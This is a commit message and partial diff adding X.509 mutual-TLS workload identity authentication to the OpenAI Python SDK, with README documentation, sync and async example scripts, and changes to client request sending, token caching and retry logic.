**every supported Python release**: Python **3.10, 3.11, 3.12, 3.13, and
3.14 each passed 7,255 tests with 31 expected skips**. The additional
Python 3.10/Pydantic 1 suite passed **7,241 tests with 45 expected
skips**; the independently reproduced dedicated legacy HTTPX lane passed
**130 tests**.
- `./scripts/lint` passes Ruff, Pyright (**0 errors / 0 warnings**),
mypy (**1,547 source files**), and import validation. Python
support-policy validation, Python 3.9 wheel rejection, Bedrock wheel
validation, HTTPX2/aiohttp/legacy wheel validation, README formatting,
changed-file formatting, Python compilation, and `git diff --check` all
pass.
- The independently reproduced `uv lock --check` failure and one
unrelated generated-file `ruff format --check .` failure are present
unchanged on the exact upstream base; neither dependency locks nor
generated baseline code were altered.
- Strict thermo-nuclear maintainability review and a separate
Python-idiom review found no remaining structural or compatibility
blocker. Scope remains HTTP-only; Realtime/WebSockets are Phase 2, and
no production endpoint or customer credentials were used.
---
README.md | 73 +-
examples/x509_workload_identity.py | 41 +
examples/x509_workload_identity_async.py | 42 +
src/openai/_client.py | 265 ++++--
src/openai/auth/__init__.py | 6 +
src/openai/auth/_workload.py | 155 ++-
src/openai/auth/_x509.py | 533 +++++++++++
src/openai/lib/azure.py | 21 +-
src/openai/lib/bedrock.py | 6 +-
tests/lib/test_azure.py | 13 +
tests/test_auth.py | 16 +-
tests/test_client.py | 4 +-
tests/test_x509_host_authority.py | 148 +++
tests/test_x509_security_boundaries.py | 892 ++++++++++++++++++
tests/test_x509_workload_identity.py | 842 +++++++++++++++++
...test_x509_workload_identity_regressions.py | 729 ++++++++++++++
16 files changed, 3667 insertions(+), 119 deletions(-)
create mode 100644 examples/x509_workload_identity.py
create mode 100644 examples/x509_workload_identity_async.py
create mode 100644 src/openai/auth/_x509.py
create mode 100644 tests/test_x509_host_authority.py
create mode 100644 tests/test_x509_security_boundaries.py
create mode 100644 tests/test_x509_workload_identity.py
create mode 100644 tests/test_x509_workload_identity_regressions.py
diff --git a/README.md b/README.md
index 49f8d60e34..54a9ff27cb 100644
--- a/README.md
+++ b/README.md
@@ -167,6 +167,65 @@ client = OpenAI(
)
```
+#### X.509 workload identity (mutual TLS)
+
+For X.509 workload identity federation, configure the client certificate and
+server trust on an HTTPX2 client, then pass only the identity-provider and
+service-account IDs to the SDK:
+
+```python
+import os
+import ssl
+
+from openai import OpenAI, DefaultHttpx2Client
+from openai.auth import x509_workload_identity
+
+tls_context = ssl.create_default_context(
+ cafile=os.getenv("OPENAI_MTLS_CA_BUNDLE"),
+)
+tls_context.load_cert_chain(
+ certfile=os.environ["OPENAI_MTLS_CERTIFICATE_CHAIN"],
+ keyfile=os.environ["OPENAI_MTLS_PRIVATE_KEY"],
+ password=os.getenv("OPENAI_MTLS_PRIVATE_KEY_PASSWORD"),
+)
+
+client = OpenAI(
+ workload_identity=x509_workload_identity(
+ identity_provider_id=os.environ["OPENAI_IDENTITY_PROVIDER_ID"],
+ service_account_id=os.environ["OPENAI_SERVICE_ACCOUNT_ID"],
+ # refresh_buffer_seconds=120.0,
+ ),
+ http_client=DefaultHttpx2Client(
+ verify=tls_context,
+ follow_redirects=False,
+ ),
+)
+```
+
+X.509 mode defaults to `https://mtls.api.openai.com/v1` when neither `base_url`
+nor `OPENAI_BASE_URL` is set. The same configured HTTP client presents its
+certificate to the fixed mTLS token-exchange endpoint and to the API. Tokens
+are exchanged lazily, cached, and refreshed automatically. Certificate files,
+private keys, passwords, server trust, proxies, and rotation remain application
+and transport concerns.
+
+X.509 API requests require HTTPS and must stay on the configured API origin.
+The effective HTTP Host authority must match that origin.
+Provider API-key and proxy-only headers cannot be sent to the API alongside
+X.509 authentication.
+Token exchanges do not inherit API request hooks, authentication, or cookies.
+Identity settings are captured when the client is constructed; create a new
+client to change the identity. Azure clients do not support X.509 workload
+identity.
+
+For asynchronous requests, use `AsyncOpenAI` with
+`DefaultAsyncHttpx2Client`. See the complete [sync rollout-toggle
+example](examples/x509_workload_identity.py) and [async rollout-toggle
+example](examples/x509_workload_identity_async.py), which select API-key or
+X.509 authentication with the application-owned `OPENAI_AUTH_MODE`
+environment variable. X.509 workload identity currently supports HTTP APIs;
+Realtime and WebSockets are not included.
+
### Vision
With an image URL:
@@ -950,9 +1009,11 @@ client = AsyncOpenAI(
See the complete [sync HTTPX2](examples/mtls_httpx2.py) and
[async HTTPX2](examples/mtls_httpx2_async.py) examples.
-The certificate-bearing HTTP client is transport-wide. Dedicate it to the
-selected mTLS origin; do not reuse it for other services or pass it through
-`with_options()` with a different `base_url`. If redirects are required, add an
+The certificate-bearing HTTP client is transport-wide. For API-key mTLS,
+dedicate it to the selected API origin; X.509 workload identity also uses the
+fixed OpenAI mTLS token-exchange origin. Do not reuse the client for unrelated
+services or pass it through `with_options()` with a different `base_url`.
+If redirects are required for API-key mTLS, add an
HTTPX2 request hook that rejects requests whose scheme, host, or port differs
from the configured mTLS origin before enabling `follow_redirects`.
@@ -969,9 +1030,9 @@ For certificate rotation, build a new `SSLContext`, HTTP client, and `OpenAI` or
client after its in-flight requests finish. Do not assume existing TLS
connections will renegotiate.
-This recipe applies to ordinary API-key HTTP traffic. It does not implement
-certificate-only X.509 workload identity, token exchange, or Realtime WebSocket
-mTLS.
+This recipe applies to ordinary API-key HTTP traffic. For certificate-backed
+token exchange, use the X.509 workload identity configuration described above.
+Realtime WebSocket mTLS is not included.
### Managing HTTP resources
diff --git a/examples/x509_workload_identity.py b/examples/x509_workload_identity.py
new file mode 100644
index 0000000000..abf2d38697
--- /dev/null
+++ b/examples/x509_workload_identity.py
@@ -0,0 +1,41 @@
+from __future__ import annotations
+
+import os
+import ssl
+
+from openai import OpenAI, DefaultHttpx2Client
+from openai.auth import x509_workload_identity
+
+
+def create_client() -> OpenAI:
+ mode = os.getenv("OPENAI_AUTH_MODE", "api_key")
+ if mode == "api_key":
+ return OpenAI()
+ if mode != "x509":
+ raise ValueError("OPENAI_AUTH_MODE must be 'api_key' or 'x509'")
+
+ tls_context = ssl.create_default_context(cafile=os.getenv("OPENAI_MTLS_CA_BUNDLE"))
+ tls_context.load_cert_chain(
+ certfile=os.environ["OPENAI_MTLS_CERTIFICATE_CHAIN"],
+ keyfile=os.environ["OPENAI_MTLS_PRIVATE_KEY"],
+ password=os.getenv("OPENAI_MTLS_PRIVATE_KEY_PASSWORD"),
+ )
+
+ return OpenAI(
+ workload_identity=x509_workload_identity(
+ identity_provider_id=os.environ["OPENAI_IDENTITY_PROVIDER_ID"],
+ service_account_id=os.environ["OPENAI_SERVICE_ACCOUNT_ID"],
+ ),
+ base_url=os.getenv("OPENAI_BASE_URL"),
+ http_client=DefaultHttpx2Client(verify=tls_context, follow_redirects=False),
+ )
+
+
+def main() -> None:
+ with create_client() as client:
+ response = client.responses.create(model="gpt-5.5", input="Hello!")
+ print(response.output_text)
+
+
+if __name__ == "__main__":
+ main()
diff --git a/examples/x509_workload_identity_async.py b/examples/x509_workload_identity_async.py
new file mode 100644
index 0000000000..da5529a4d8
--- /dev/null
+++ b/examples/x509_workload_identity_async.py
@@ -0,0 +1,42 @@
+from __future__ import annotations
+
+import os
+import ssl
+import asyncio
+
+from openai import AsyncOpenAI, DefaultAsyncHttpx2Client
+from openai.auth import x509_workload_identity
+
+
+def create_client() -> AsyncOpenAI:
+ mode = os.getenv("OPENAI_AUTH_MODE", "api_key")
+ if mode == "api_key":
+ return AsyncOpenAI()
+ if mode != "x509":
+ raise ValueError("OPENAI_AUTH_MODE must be 'api_key' or 'x509'")
+
+ tls_context = ssl.create_default_context(cafile=os.getenv("OPENAI_MTLS_CA_BUNDLE"))
+ tls_context.load_cert_chain(
+ certfile=os.environ["OPENAI_MTLS_CERTIFICATE_CHAIN"],
+ keyfile=os.environ["OPENAI_MTLS_PRIVATE_KEY"],
+ password=os.getenv("OPENAI_MTLS_PRIVATE_KEY_PASSWORD"),
+ )
+
+ return AsyncOpenAI(
+ workload_identity=x509_workload_identity(
+ identity_provider_id=os.environ["OPENAI_IDENTITY_PROVIDER_ID"],
+ service_account_id=os.environ["OPENAI_SERVICE_ACCOUNT_ID"],
+ ),
+ base_url=os.getenv("OPENAI_BASE_URL"),
+ http_client=DefaultAsyncHttpx2Client(verify=tls_context, follow_redirects=False),
+ )
+
+
+async def main() -> None:
+ async with create_client() as client:
+ response = await client.responses.create(model="gpt-5.5", input="Hello!")
+ print(response.output_text)
+
+
+if __name__ == "__main__":
+ asyncio.run(main())
diff --git a/src/openai/_client.py b/src/openai/_client.py
index 5f980c8cb6..01c75f733e 100644
--- a/src/openai/_client.py
+++ b/src/openai/_client.py
@@ -10,7 +10,7 @@
from . import _exceptions
from ._qs import Querystring
-from .auth import WorkloadIdentity, WorkloadIdentityAuth
+from .auth import WorkloadIdentity, WorkloadIdentityAuth, X509WorkloadIdentity
from ._types import (
Omit,
Headers,
@@ -29,11 +29,20 @@
get_async_library,
)
from ._compat import cached_property
-from ._httpx2 import is_httpx2_sync_client, is_httpx2_async_client
+from ._httpx2 import normalize_httpx_url, is_httpx2_sync_client, is_httpx2_async_client
from ._models import SecurityOptions, FinalRequestOptions
from ._version import __version__
from ._provider import _Provider, _provider_name, _ProviderRuntime, _configure_provider
from ._streaming import Stream as Stream, AsyncStream as AsyncStream
+from .auth._x509 import (
+ MTLS_API_BASE_URL,
+ SyncX509WorkloadIdentityAuth,
+ AsyncX509WorkloadIdentityAuth,
+ validate_x509_api_url,
+ is_x509_workload_identity,
+ validate_x509_api_credentials,
+ validate_x509_request_authority,
+)
from ._exceptions import OpenAIError, APIStatusError
from ._base_client import (
DEFAULT_MAX_RETRIES,
@@ -109,13 +118,14 @@ class OpenAI(SyncAPIClient):
# client options
api_key: str
admin_api_key: str | None
- workload_identity: WorkloadIdentity | None
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None
organization: str | None
project: str | None
webhook_secret: str | None
- _workload_identity_auth: WorkloadIdentityAuth | None
+ _workload_identity_auth: WorkloadIdentityAuth | SyncX509WorkloadIdentityAuth | None
_provider: _Provider | None
_provider_runtime: _ProviderRuntime | None
+ _base_url_was_default: bool
websocket_base_url: str | httpx2.URL | None
"""Base URL for WebSocket connections.
@@ -125,12 +135,25 @@ class OpenAI(SyncAPIClient):
'wss://example.com'
"""
+ @property
+ @override
+ def base_url(self) -> httpx2.URL:
+ return self._base_url
+
+ @base_url.setter
+ def base_url(self, url: httpx2.URL | str) -> None:
+ normalized_url = normalize_httpx_url(url)
+ if is_x509_workload_identity(self.workload_identity):
+ validate_x509_api_url(normalized_url)
+ self._base_url = self._enforce_trailing_slash(normalized_url)
+ self._base_url_was_default = False
+
def __init__(
self,
*,
api_key: str | Callable[[], str] | None = None,
admin_api_key: str | None = None,
- workload_identity: WorkloadIdentity | None = None,
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None = None,
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
@@ -195,6 +218,8 @@ def __init__(
if api_key is not None and api_key != WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER and workload_identity is not None:
raise OpenAIError("The `api_key` and `workload_identity` arguments are mutually exclusive")
+ if is_x509_workload_identity(workload_identity):
+ workload_identity = workload_identity.copy()
self.workload_identity = workload_identity if provider_runtime is None else None
if provider_runtime is not None:
@@ -246,12 +271,26 @@ def __init__(
self.websocket_base_url = websocket_base_url
+ if is_x509_workload_identity(workload_identity):
+ x509_identity = workload_identity
+ subject_token_identity = None
+ elif workload_identity is None:
+ x509_identity = None
+ subject_token_identity = None
+ elif "provider" in workload_identity:
+ x509_identity = None
+ subject_token_identity = workload_identity
+ else:
+ raise OpenAIError("Invalid `workload_identity` configuration: expected an X.509 or subject-token identity")
if provider_runtime is not None:
base_url = provider_runtime.base_url
elif base_url is None:
base_url = os.environ.get("OPENAI_BASE_URL")
+ self._base_url_was_default = provider_runtime is None and base_url is None
if base_url is None:
- base_url = f"https://api.openai.com/v1"
+ base_url = MTLS_API_BASE_URL if x509_identity is not None else "https://api.openai.com/v1"
+ if x509_identity is not None:
+ validate_x509_api_url(base_url)
custom_headers_env = os.environ.get("OPENAI_CUSTOM_HEADERS") if provider_runtime is None else None
if custom_headers_env is not None:
@@ -273,9 +312,13 @@ def __init__(
_strict_response_validation=_strict_response_validation,
)
- if workload_identity is not None:
+ if x509_identity is not None:
+ self._workload_identity_auth = SyncX509WorkloadIdentityAuth(
+ workload_identity=x509_identity.copy(), http_client=self._client, max_retries=max_retries
+ )
+ elif subject_token_identity is not None:
self._workload_identity_auth = WorkloadIdentityAuth(
- workload_identity=workload_identity,
+ workload_identity=subject_token_identity,
_use_httpx2=is_httpx2_sync_client(self._client),
)
@@ -458,27 +501,46 @@ def _send_with_auth_retry(
retried: bool = False,
**kwargs: Unpack[HttpxSendArgs],
) -> httpx2.Response:
- used_workload_identity_auth = False
-
- if self._workload_identity_auth is not None:
+ used_access_token: str | None = None
+ request_is_replayable = False
+ x509_auth = self._workload_identity_auth
+
+ if x509_auth is not None:
+ if isinstance(x509_auth, SyncX509WorkloadIdentityAuth):
+ if x509_auth.workload_identity != self.workload_identity:
+ raise OpenAIError("X.509 workload identity cannot be changed after client construction")
+ validate_x509_api_url(request.url, expected_origin=self.base_url)
+ validate_x509_request_authority(request)
+ validate_x509_api_credentials(request)
+ if x509_auth._follow_redirects is not None:
+ kwargs["follow_redirects"] = x509_auth._follow_redirects
authorization = request.headers.get("Authorization")
if authorization == f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}":
- request.headers["Authorization"] = f"Bearer {self._workload_identity_auth.get_token()}"
- used_workload_identity_auth = True
+ used_access_token = x509_auth.get_token()
+ request.headers["Authorization"] = f"Bearer {used_access_token}"
+ request_is_replayable = x509_auth._can_retry_request(request)
+
+ if isinstance(x509_auth, SyncX509WorkloadIdentityAuth):
+ response = x509_auth.send_api_request(
+ request,
+ expected_origin=self.base_url,
+ expected_authorization=request.headers.get("Authorization"),
+ stream=stream,
+ **kwargs,
+ )
+ else:
+ response = super()._send_request(request, stream=stream, **kwargs)
+ if response.status_code != 401 or self._workload_identity_auth is None or used_access_token is None:
+ return response
- response = super()._send_request(request, stream=stream, **kwargs)
- if (
- response.status_code == 401
- and self._workload_identity_auth is not None
- and used_workload_identity_auth
- and not retried
- ):
- response.close()
- self._workload_identity_auth.invalidate_token()
- request.headers["Authorization"] = f"Bearer {self._workload_identity_auth.get_token()}"
- return self._send_with_auth_retry(request, stream=stream, retried=True, **kwargs)
+ self._workload_identity_auth.invalidate_token(used_access_token)
+ if retried or not request_is_replayable:
+ return response
- return response
+ response.close()
+ self._workload_identity_auth._prepare_retry_request(request)
+ request.headers["Authorization"] = f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}"
+ return self._send_with_auth_retry(request, stream=stream, retried=True, **kwargs)
@override
def _send_request(
@@ -572,7 +634,7 @@ def _prepare_request(self, request: httpx2.Request) -> None:
@override
def _custom_auth(self, security: SecurityOptions) -> httpx2.Auth | None:
- if self._provider_runtime is not None:
+ if self._provider_runtime is not None or isinstance(self._workload_identity_auth, SyncX509WorkloadIdentityAuth):
return httpx2.Auth()
return super()._custom_auth(security)
@@ -588,7 +650,7 @@ def copy(
*,
api_key: str | Callable[[], str] | None = None,
admin_api_key: str | None = None,
- workload_identity: WorkloadIdentity | None = None,
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None = None,
provider: _Provider | None | NotGiven = not_given,
organization: str | None = None,
project: str | None = None,
@@ -633,6 +695,7 @@ def copy(
http_client = http_client or self._client
next_provider = self._provider if isinstance(provider, NotGiven) else provider
+ preserve_default_base_url = False
auth_options: dict[str, Any]
if next_provider is not None:
auth_options = {
@@ -650,14 +713,24 @@ def copy(
"base_url": base_url,
}
else:
+ next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity
+ if api_key is not None and workload_identity is None:
+ next_workload_identity = None
+ current_x509 = is_x509_workload_identity(self.workload_identity)
+ next_x509 = is_x509_workload_identity(next_workload_identity)
+ mode_changed = current_x509 != next_x509
+ inherited_base_url = None if mode_changed and self._base_url_was_default else self.base_url
+ preserve_default_base_url = base_url is None and not mode_changed and self._base_url_was_default
auth_options = {
- "api_key": api_key or self._api_key_provider or self.api_key,
+ "api_key": api_key
+ if workload_identity is not None
+ else api_key or self._api_key_provider or self.api_key,
"admin_api_key": admin_api_key or self.admin_api_key,
- "workload_identity": workload_identity or self.workload_identity,
- "base_url": base_url or self.base_url,
+ "workload_identity": next_workload_identity,
+ "base_url": base_url or inherited_base_url,
}
- return self.__class__(
+ copied = self.__class__(
organization=organization or inherited_organization,
project=project or inherited_project,
webhook_secret=webhook_secret or self.webhook_secret,
@@ -671,6 +744,9 @@ def copy(
**auth_options,
**_extra_kwargs,
)
+ if preserve_default_base_url:
+ copied._base_url_was_default = True
+ return copied
# Alias for `copy` for nicer inline usage, e.g.
# client.with_options(timeout=10).foo.create(...)
@@ -715,13 +791,14 @@ class AsyncOpenAI(AsyncAPIClient):
# client options
api_key: str
admin_api_key: str | None
- workload_identity: WorkloadIdentity | None
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None
organization: str | None
project: str | None
webhook_secret: str | None
- _workload_identity_auth: WorkloadIdentityAuth | None
+ _workload_identity_auth: WorkloadIdentityAuth | AsyncX509WorkloadIdentityAuth | None
_provider: _Provider | None
_provider_runtime: _ProviderRuntime | None
+ _base_url_was_default: bool
websocket_base_url: str | httpx2.URL | None
"""Base URL for WebSocket connections.
@@ -731,12 +808,25 @@ class AsyncOpenAI(AsyncAPIClient):
'wss://example.com'
"""
+ @property
+ @override
+ def base_url(self) -> httpx2.URL:
+ return self._base_url
+
+ @base_url.setter
+ def base_url(self, url: httpx2.URL | str) -> None:
+ normalized_url = normalize_httpx_url(url)
+ if is_x509_workload_identity(self.workload_identity):
+ validate_x509_api_url(normalized_url)
+ self._base_url = self._enforce_trailing_slash(normalized_url)
+ self._base_url_was_default = False
+
def __init__(
self,
*,
api_key: str | Callable[[], Awaitable[str]] | None = None,
admin_api_key: str | None = None,
- workload_identity: WorkloadIdentity | None = None,
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None = None,
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
@@ -801,6 +891,8 @@ def __init__(
if api_key is not None and api_key != WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER and workload_identity is not None:
raise OpenAIError("The `api_key` and `workload_identity` arguments are mutually exclusive")
+ if is_x509_workload_identity(workload_identity):
+ workload_identity = workload_identity.copy()
self.workload_identity = workload_identity if provider_runtime is None else None
if provider_runtime is not None:
@@ -852,12 +944,26 @@ def __init__(
self.websocket_base_url = websocket_base_url
+ if is_x509_workload_identity(workload_identity):
+ x509_identity = workload_identity
+ subject_token_identity = None
+ elif workload_identity is None:
+ x509_identity = None
+ subject_token_identity = None
+ elif "provider" in workload_identity:
+ x509_identity = None
+ subject_token_identity = workload_identity
+ else:
+ raise OpenAIError("Invalid `workload_identity` configuration: expected an X.509 or subject-token identity")
if provider_runtime is not None:
base_url = provider_runtime.base_url
elif base_url is None:
base_url = os.environ.get("OPENAI_BASE_URL")
+ self._base_url_was_default = provider_runtime is None and base_url is None
if base_url is None:
- base_url = f"https://api.openai.com/v1"
+ base_url = MTLS_API_BASE_URL if x509_identity is not None else "https://api.openai.com/v1"
+ if x509_identity is not None:
+ validate_x509_api_url(base_url)
custom_headers_env = os.environ.get("OPENAI_CUSTOM_HEADERS") if provider_runtime is None else None
if custom_headers_env is not None:
@@ -879,9 +985,13 @@ def __init__(
_strict_response_validation=_strict_response_validation,
)
- if workload_identity is not None:
+ if x509_identity is not None:
+ self._workload_identity_auth = AsyncX509WorkloadIdentityAuth(
+ workload_identity=x509_identity.copy(), http_client=self._client, max_retries=max_retries
+ )
+ elif subject_token_identity is not None:
self._workload_identity_auth = WorkloadIdentityAuth(
- workload_identity=workload_identity,
+ workload_identity=subject_token_identity,
_use_httpx2=is_httpx2_async_client(self._client),
)
@@ -1064,27 +1174,46 @@ async def _send_with_auth_retry(
retried: bool = False,
**kwargs: Unpack[HttpxSendArgs],
) -> httpx2.Response:
- used_workload_identity_auth = False
-
- if self._workload_identity_auth is not None:
+ used_access_token: str | None = None
+ request_is_replayable = False
+ x509_auth = self._workload_identity_auth
+
+ if x509_auth is not None:
+ if isinstance(x509_auth, AsyncX509WorkloadIdentityAuth):
+ if x509_auth.workload_identity != self.workload_identity:
+ raise OpenAIError("X.509 workload identity cannot be changed after client construction")
+ validate_x509_api_url(request.url, expected_origin=self.base_url)
+ validate_x509_request_authority(request)
+ validate_x509_api_credentials(request)
+ if x509_auth._follow_redirects is not None:
+ kwargs["follow_redirects"] = x509_auth._follow_redirects
authorization = request.headers.get("Authorization")
if authorization == f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}":
- request.headers["Authorization"] = f"Bearer {await self._workload_identity_auth.get_token_async()}"
- used_workload_identity_auth = True
+ used_access_token = await x509_auth.get_token_async()
+ request.headers["Authorization"] = f"Bearer {used_access_token}"
+ request_is_replayable = x509_auth._can_retry_request(request)
+
+ if isinstance(x509_auth, AsyncX509WorkloadIdentityAuth):
+ response = await x509_auth.send_api_request(
+ request,
+ expected_origin=self.base_url,
+ expected_authorization=request.headers.get("Authorization"),
+ stream=stream,
+ **kwargs,
+ )
+ else:
+ response = await super()._send_request(request, stream=stream, **kwargs)
+ if response.status_code != 401 or self._workload_identity_auth is None or used_access_token is None:
+ return response
- response = await super()._send_request(request, stream=stream, **kwargs)
- if (
- response.status_code == 401
- and self._workload_identity_auth is not None
- and used_workload_identity_auth
- and not retried
- ):
- await response.aclose()
- self._workload_identity_auth.invalidate_token()
- request.headers["Authorization"] = f"Bearer {await self._workload_identity_auth.get_token_async()}"
- return await self._send_with_auth_retry(request, stream=stream, retried=True, **kwargs)
+ self._workload_identity_auth.invalidate_token(used_access_token)
+ if retried or not request_is_replayable:
+ return response
- return response
+ await response.aclose()
+ self._workload_identity_auth._prepare_retry_request(request)
+ request.headers["Authorization"] = f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}"
+ return await self._send_with_auth_retry(request, stream=stream, retried=True, **kwargs)
@override
async def _send_request(
@@ -1189,7 +1318,9 @@ async def _prepare_request(self, request: httpx2.Request) -> None:
@property
@override
def custom_auth(self) -> httpx2.Auth | None:
- if self._provider_runtime is not None:
+ if self._provider_runtime is not None or isinstance(
+ self._workload_identity_auth, AsyncX509WorkloadIdentityAuth
+ ):
return httpx2.Auth()
return super().custom_auth
@@ -1205,7 +1336,7 @@ def copy(
*,
api_key: str | Callable[[], Awaitable[str]] | None = None,
admin_api_key: str | None = None,
- workload_identity: WorkloadIdentity | None = None,
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None = None,
provider: _Provider | None | NotGiven = not_given,
organization: str | None = None,
project: str | None = None,
@@ -1249,6 +1380,7 @@ def copy(
http_client = http_client or self._client
next_provider = self._provider if isinstance(provider, NotGiven) else provider
+ preserve_default_base_url = False
auth_options: dict[str, Any]
if next_provider is not None:
auth_options = {
@@ -1266,14 +1398,24 @@ def copy(
"base_url": base_url,
}
else:
+ next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity
+ if api_key is not None and workload_identity is None:
+ next_workload_identity = None
+ current_x509 = is_x509_workload_identity(self.workload_identity)
+ next_x509 = is_x509_workload_identity(next_workload_identity)
+ mode_changed = current_x509 != next_x509
+ inherited_base_url = None if mode_changed and self._base_url_was_default else self.base_url
+ preserve_default_base_url = base_url is None and not mode_changed and self._base_url_was_default
auth_options = {
- "api_key": api_key or self._api_key_provider or self.api_key,
+ "api_key": api_key
+ if workload_identity is not None
+ else api_key or self._api_key_provider or self.api_key,
"admin_api_key": admin_api_key or self.admin_api_key,
- "workload_identity": workload_identity or self.workload_identity,
- "base_url": base_url or self.base_url,
+ "workload_identity": next_workload_identity,
+ "base_url": base_url or inherited_base_url,
}
- return self.__class__(
+ copied = self.__class__(
organization=organization or inherited_organization,
project=project or inherited_project,
webhook_secret=webhook_secret or self.webhook_secret,
@@ -1287,6 +1429,9 @@ def copy(
**auth_options,
**_extra_kwargs,
)
+ if preserve_default_base_url:
+ copied._base_url_was_default = True
+ return copied
# Alias for `copy` for nicer inline usage, e.g.
# client.with_options(timeout=10).foo.create(...)
diff --git a/src/openai/auth/__init__.py b/src/openai/auth/__init__.py
index 367aa86b72..fbe72c8378 100644
--- a/src/openai/auth/__init__.py
+++ b/src/openai/auth/__init__.py
@@ -4,7 +4,10 @@
WorkloadIdentity as WorkloadIdentity,
SubjectTokenProvider as SubjectTokenProvider,
WorkloadIdentityAuth as WorkloadIdentityAuth,
+ X509WorkloadIdentity as X509WorkloadIdentity,
+ SubjectTokenWorkloadIdentity as SubjectTokenWorkloadIdentity,
gcp_id_token_provider as gcp_id_token_provider,
+ x509_workload_identity as x509_workload_identity,
k8s_service_account_token_provider as k8s_service_account_token_provider,
azure_managed_identity_token_provider as azure_managed_identity_token_provider,
)
@@ -12,7 +15,10 @@
__all__ = [
"SubjectTokenProvider",
"WorkloadIdentity",
+ "SubjectTokenWorkloadIdentity",
+ "X509WorkloadIdentity",
"WorkloadIdentityAuth",
+ "x509_workload_identity",
"k8s_service_account_token_provider",
"azure_managed_identity_token_provider",
"gcp_id_token_provider",
diff --git a/src/openai/auth/_workload.py b/src/openai/auth/_workload.py
index 73b110b445..4f9797f092 100644
--- a/src/openai/auth/_workload.py
+++ b/src/openai/auth/_workload.py
@@ -2,12 +2,13 @@
import time
import threading
-from typing import Any, Callable, TypedDict, cast
+from typing import Any, Generic, TypeVar, Callable, TypedDict, cast
from pathlib import Path
-from typing_extensions import Literal, NotRequired
+from typing_extensions import Literal, TypeAlias, NotRequired, override
import httpx2
+from .._utils import is_dict
from .._httpx2 import DefaultHttpx2Client, _loaded_legacy_httpx
from .._exceptions import OAuthError, OpenAIError, SubjectTokenProviderError
from .._utils._sync import to_thread
@@ -42,6 +43,38 @@ class WorkloadIdentity(TypedDict):
refresh_buffer_seconds: NotRequired[float]
+SubjectTokenWorkloadIdentity: TypeAlias = WorkloadIdentity
+
+
+class X509WorkloadIdentity(TypedDict):
+ """Authenticate with the client certificate configured on the HTTP transport."""
+
+ type: Literal["x509"]
+ identity_provider_id: str
+ service_account_id: str
+ refresh_buffer_seconds: NotRequired[float]
+
+
+_WorkloadIdentityT = TypeVar("_WorkloadIdentityT", WorkloadIdentity, X509WorkloadIdentity)
+
+
+def x509_workload_identity(
+ *,
+ identity_provider_id: str,
+ service_account_id: str,
+ refresh_buffer_seconds: float | None = None,
+) -> X509WorkloadIdentity:
+ """Configure X.509 workload identity without handling certificate material."""
+ identity: X509WorkloadIdentity = {
+ "type": "x509",
+ "identity_provider_id": identity_provider_id,
+ "service_account_id": service_account_id,
+ }
+ if refresh_buffer_seconds is not None:
+ identity["refresh_buffer_seconds"] = refresh_buffer_seconds
+ return identity
+
+
def k8s_service_account_token_provider(
token_file_path: str | Path = "/var/run/secrets/kubernetes.io/serviceaccount/token",
) -> SubjectTokenProvider:
@@ -171,17 +204,18 @@ def get_token() -> str:
return {"token_type": "id", "get_token": get_token}
-class WorkloadIdentityAuth:
+class _WorkloadIdentityAuth(Generic[_WorkloadIdentityT]):
def __init__(
self,
*,
- workload_identity: WorkloadIdentity,
+ workload_identity: _WorkloadIdentityT,
token_exchange_url: str = DEFAULT_TOKEN_EXCHANGE_URL,
_use_httpx2: bool = True,
- ):
- self.workload_identity = workload_identity
+ ) -> None:
+ self.workload_identity: _WorkloadIdentityT = workload_identity
self.token_exchange_url = token_exchange_url
self._use_httpx2 = _use_httpx2
+ self._follow_redirects: bool | None = None
self._cached_token: str | None = None
self._cached_token_expires_at_monotonic: float | None = None
@@ -222,14 +256,19 @@ def get_token(self) -> str:
async def get_token_async(self) -> str:
return await to_thread(self.get_token)
- def invalidate_token(self) -> None:
+ def invalidate_token(self, token: str | None = None) -> None:
with self._lock:
+ if token is not None and self._cached_token != token:
+ return
self._cached_token = None
self._cached_token_expires_at_monotonic = None
self._cached_token_refresh_at_monotonic = None
def _perform_refresh(self) -> None:
token_data = self._fetch_token_from_exchange()
+ self._store_token(token_data)
+
+ def _store_token(self, token_data: dict[str, Any]) -> None:
now = time.monotonic()
expires_in = token_data["expires_in"]
@@ -239,32 +278,7 @@ def _perform_refresh(self) -> None:
self._cached_token_refresh_at_monotonic = now + self._refresh_delay_seconds(expires_in)
def _fetch_token_from_exchange(self) -> dict[str, Any]:
- subject_token = self._get_subject_token()
-
- token_type = self.workload_identity["provider"]["token_type"]
- subject_token_type = SUBJECT_TOKEN_TYPES.get(token_type)
- if subject_token_type is None:
- raise OpenAIError(
- f"Unsupported token type: {token_type!r}. Supported types: {', '.join(SUBJECT_TOKEN_TYPES.keys())}"
- )
-
- legacy_httpx = _loaded_legacy_httpx() if not self._use_httpx2 else None
- exchange_client = (
- legacy_httpx.Client() if legacy_httpx is not None else DefaultHttpx2Client(follow_redirects=False)
- )
- with exchange_client as client:
- response = client.post(
- self.token_exchange_url,
- json={
- "grant_type": TOKEN_EXCHANGE_GRANT_TYPE,
- "subject_token": subject_token,
- "subject_token_type": subject_token_type,
- "identity_provider_id": self.workload_identity["identity_provider_id"],
- "service_account_id": self.workload_identity["service_account_id"],
- },
- timeout=10.0,
- )
- return self._handle_token_response(response)
+ raise NotImplementedError("Workload identity authentication must implement token exchange")
def _handle_token_response(self, response: httpx2.Response) -> dict[str, Any]:
try:
@@ -278,24 +292,22 @@ def _handle_token_response(self, response: httpx2.Response) -> dict[str, Any]:
if response.is_success:
if body is None:
raise OpenAIError("Token exchange succeeded but response body was empty")
+ if not is_dict(body):
+ raise OpenAIError("Token exchange succeeded but response body was not a JSON object")
access_token = body.get("access_token")
expires_in = body.get("expires_in")
